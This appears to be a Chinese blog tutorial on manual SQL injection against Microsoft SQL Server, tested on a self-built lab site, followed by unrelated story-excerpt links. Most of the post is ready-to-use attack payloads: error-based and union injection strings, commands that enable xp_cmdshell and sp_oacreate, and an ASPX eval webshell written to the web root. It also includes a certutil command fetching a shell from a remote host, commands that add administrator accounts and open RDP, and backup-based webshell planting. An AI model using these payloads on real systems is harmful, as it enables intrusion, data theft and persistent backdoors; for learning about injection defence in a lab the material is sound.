Mssql手工注入小结

前言:


说起sql注入环境,网上流行的一些漏洞靶场基本上都是基于Mysql+Apache搭建的,所以我对mysql的手注及提权多多少少有一定的了解,但对mssql还很陌生,为了避免过度依赖sqlmap一把梭的尴尬局面,于是有了这篇文章。

环境介绍:

搭建环境:win7 + SQL Server 2008 R2 + IIS7.5
win7开放1433端口
sql server 2008 r2下载及搭建过程参考:Win7安装sqlserver2008r2教程

苦于找不到漏洞环境,只好找公开的NET源码下载。
.NET源码下载地址:.NET源码 - 下载列表 - 源码之家

ISAPI和CGI限制都设置为允许:

部分配置参考:

注入漏洞发现:


搭建过程总是磕磕绊绊的,环境搭建好以后,使用xray联动awvs快速发现漏洞:

这里直接放出结果:

随便找一处注入点用sqlmap一把梭瞅瞅:

基本齐活了,作为手注漏洞环境挺好的

基础知识:


Mssql的系统自带库:master
在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表:sysobjects
此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表。

Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而xtype代表对象的类型。

常见的类型有:

类型简称 含义
U 表(用户定义类型)
V 视图
P 存储过程
X 拓展存储过程

mssql常用参数:

当前数据库版本:@@version
有关服务器主机的信息:@@servername
当前数据库名称:db_name()
当前用户:user
数据库权限:IS_SRVROLEMEMBER()

手注过程:


报错注入:

判断是否是Mssql数据库:

id=1 and (select count(*) from sysobjects)>0
id=1 and exists(select * from sysobjects)

使用了上面这条语句说明它权限还有点大,还有可能是 sa 权限,因为可以读取任意表

判断权限:

id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))--  //sa
id=1 and 1=(select IS_MEMBER('db_owner'))=1--   //  dbo
id=1 and 1=(select IS_MEMBER('public'))=1--  //public

mssql权限划分:

sysadmin:可以执行所有操作,包括数据库操作,文件管理,命令执行,注册表读取等
db_owner:可以执行数据库操作,包括文件管理、数据库操作等
public:只能执行查询操作

本地测试页面返回正常,说明它是 sa 权限

查看当前数据库版本:

id=1 and 1=(select @@version)
id=@@version
id=1 and 1=(convert(int,@@version))
id=convert(int,@@version)

通过这个例子了解报错注入的原理:
and 1 是int类型,后面的(select @@version) 是字符类型,不相等,就会报错从而爆出相关信息
而原本访问网站 id=1 查询的是数字类型int,而我们查询的是字符类型,所以他从字符类型转换为int类型失败就导致网站报错从而泄露网站的数据库版本信息

查看当前数据库名称:

id=1 and 1=(select db_name())
id=db_name()

convert函数利用原理:
对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

获取第一个用户数据库的名称:

id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)

语句解析:

top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录
对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图里

从图中可以看到,前面4个id号是默认mssql数据库自带的,实际上 ReportServer 和 ReportServerTempDB 也是安装过程中自带的数据库,真正手动创建的数据库为后面三个,以搭建环境为基准的话,这里第7个才是用户所创建的第一个数据库,以此类推!

获取所有数据库的名字:

# for xml path:将查询结果集以XML形式展现
id=1 and 1=(select name from master..sysdatabases for xml path)

获取当前网站数据库所使用的第一个表名:

id=1 and 1=(select top 1 name from sysobjects where xtype='u')
id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '')  # 获取第二个表名,以此类推
id=CONVERT(int,(select top 1 table_name from information_schema.columns))  # 获取当前数据库的表名

爆出所有表名:

id=1 and 1=(select name from sysobjects for xml path)

本地复现失败,可能是表太多了,数据传输量过大被截断了?(盲猜)

获取列名:
我们知道了第一个表名为:Portal_Announcementscat

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))

# 506F7274616C5F416E6E6F756E63656D656E7473636174 为表名 Portal_Announcementscat 的 hex值
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar)))

获取到第一个列名为:catid,参照数据库信息进行比对:

获取下一个列名:

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')

id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar) and COLUMN_NAME != 'catid'))

获取数据:

id=1 and 1=(select top 1 catname from Portal_Announcementscat)
id=convert(int,(select top 1 catname from Portal_Announcementscat))

获取下一条数据:

id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')
id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))
联合注入:

判断字段长度:

id=1 order by 8--

上面得到数据列数为8,寻找字符型显示位:

id=0 union all select null,null,null,null,null,null,null,null

这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段
使用的 null 是说明它无关是字符型还是数字型

现在,我们需要将依次每一个数据列转换为@@version或者db_name(),寻找字符型显示位:

id=0 union all select @@version,null,null,null,null,null,null,null
id=0 union all select null,@@version,null,null,null,null,null,null  # 以此类推

注意:这里其实填啥都可以,不一定得是@@version诸如此类的,只要是字符型数据都行:

获取表名信息:

id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null
id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null

# 获取之后的表名,以此类推
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null  

获取列名信息:

# 1 代表的是查询第一个列名
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null

# 获取第i列名信息
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null

获取数据信息:

id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat

xp_cmdshell执行命令:

我们刚才知道了网站的权限是 sa 权限,那么我们就可以干很多事,包括执行系统命令等等

xp_cmdshell:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器权限上。也就是它开启的话我们就可以执行系统命令!

判断xp_cmdshell是否存在:

id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

页面返回正常,说明xp_cmdshell存在。
如果拓展被删除,执行以下语句恢复:

id=1;exec sp_dropextendedproc 'xp_cmdshell'

上面这条语句在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询:

id=1;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句:

id=1;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。
如果用户拥有管理员sa权限则可以用sp_configure重新开启它

本地环境为sql server 2008,可以看到默认情况下是禁止的:

这里既然是sa用户,直接通过注入环境开启 xp_cmdshell:

id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--

# 关闭 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

尝试通过xp_cmdshell执行系统命令:

id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--
id=1 ;exec xp_cmdshell "ping 1yi53x.dnslog.cn"--

通过dnslog可以看到系统命令成功执行

关于xp_cmdshell的利用方式很多,比如添加管理员用户,写入一句话到网站根目录,反弹shell等等

查找网站根目录:

利用前提:

1、目标网站注入支持堆叠注入
2、当前权限是SA权限
3、使用sqlmap的 –os-shell 无法获取到权限

思路:通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径

假设我们已经知道目标网站下有一个ceshi.txt文件

# 创建表hack,并添加一个tmp的字段
id=1;create table hack (tmp varchar(1000));-- 
# 查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (ceshi*.txt) do @echo %i';--
#或者
id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\ceshi.txt';--

读取数据,得到目标网站绝对路径为:

将一句话木马写入目标网站根目录,并命名为nothinks.aspx

注意:要把所有的<、>前面加一个^号

id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > D:\aspx\oa\nothinks.aspx';--
# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口

使用 certutil 远程下载木马文件:

id=1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--

SA权限使用sp_oacreate执行系统命令:

使用下面命令查看是否可使用 sp_oacreate 执行系统命令:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'--

可以看到默认情况下禁止访问

如果SQLServer 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开

id=1;EXEC sp_configure 'show advanced options', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
id=1;EXEC sp_configure 'Ole Automation Procedures', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--

再次执行命令,通过dnslog判断是否执行成功:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'ping ffk9ba.dnslog.cn'--

这时调用命令创建用户:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book4yi password@ /add'--

xp_regwrite操作注册表与开启沙盒模式:

在sa权限下可以调用xp_regwrite写入注册表,查询语句如下:

id=1;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
'black','REG_SZ','net user book4yi 123456 /add'

写入注册表启动项,系统启动后就会执行"net user book4yi 123456 /add"命令,从而在服务器上添加一个book4yi账户

使用沙盒进行提权详情参考:
https://blog.51cto.com/11797152/2411770
https://www.jianshu.com/p/088c0705f7f9

其他存储过程补充:

常见的危险存储过程如下表:

存储过程 说明
sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread 读取注册表
xp_regwrite 写入注册表
xp_redeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务
xp_readerrorlog 读取SQLServer的错误日志;
xp_snmp_getstate 获取snmp状态信息;
xp_sprintf 格式化数据;
xp_sqlinventory 查询SQLServer清单;
xp_sqlregister 对注册表的读取和编辑;
xp_sqltrace SQL跟踪记录;
xp_servicecontrol 服务管理控制,该存储过程允许用户启动、停止、暂停或运行服务;
xp_sscanf 从字符串中读取数据数据到每个格式参数给出的参数位置;
xp_availablemedia 该存储过程可以查看系统上可用的磁盘驱动器的空间信息;
xp_subdirs 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹;

DB_owner权限LOG备份Getshell:

SQLServer常见的备份策略:

每周一次完整备份
每天一次差异备份
每小时一次事务日志备份

利用前提:

1、目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
2、知道网站的绝对路径
3、该注入支持堆叠注入

alter database oa set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
backup log oa to disk= 'D:\aspx\oa\book4yi.aspx' with init;   #备份表到指定路径
insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E);  #插入一句话到cmd表里
backup log oa to disk='D:\aspx\oa\book4yi-2.aspx';   #把操作日志备份到指定文件
drop table cmd;    #删除cmd表

语句成功执行以后,会在目标网站根目录下生成book4yi.aspx和book4yi-2.aspx文件,其中book4yi.aspx 保存数据库,book4yi-2.aspx就是我们需要连接的木马文件

之后用蚁剑成功连接!

查看当前用户权限:

DB_owner权限差异备份Getshell

create table [dbo].[book4yi] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [book4yi](cmd) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x44003a005c0061007300700078005c006f0061005c007900650073006f006b002e006100730070007800 backup log @a to disk=@s with init,no_truncate
Drop table [book4yi]

1)id=1;backup database 库名 to disk = 'c:\bak.bak' ;--
或者
id=1;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s--     //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库
2)id=1;create table 数据库名..表名(a image)--     //建立表,加字段
3)id=1;insert into 数据库名..表名(a) values (0x一句话木马)--     //插入一句话木马到表中,注意16进制
4)id=1;backup database 库名 to disk = 'c:\shell.asp' with differential , format ;--    //进行差异备份
或者
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--     //备份到路径\xx.asp,前提是已得知路径,注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ,访问查看是否备份getshell成功
5)id=1;Drop table 数据库..表名--     //备份完getshell过后删除表

本地测试的时候,写入倒是成功了,但是写入了四条语句导致无法连接,因为同一个脚本中出现了两次<%@ Page Language="Jscript"%>这样在.net的语法检查中是不允许的(asp中应该没有这种现象)

现在就要找个没有page标签的aspx的一句话。网上找到了两个可以没带page标签的aspx的一句话:

C#版本:
<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
Vb版本:
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>

因为没有page标签,所以这这样的一句话在同一个文件中出现两次是不会出错的。其他语言没测试,等待有缘人帮助

更多用法请参考:mssql注入经常使用的命令

更多思路拓展请参考:
渗透经验分享之SQL注入思路拓展
MSSQL注入常用SQL语句整理

参考如下:


史上最详细的sqlServer手工注入详解
Microsoft SQL Server手注之报错注入
Microsoft SQL Server手注之联合查询注入
SQLServer数据库注入详解

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,589评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,615评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,933评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,976评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,999评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,775评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,474评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,359评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,854评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,007评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,146评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,826评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,484评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,029评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,153评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,420评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,107评论 2 356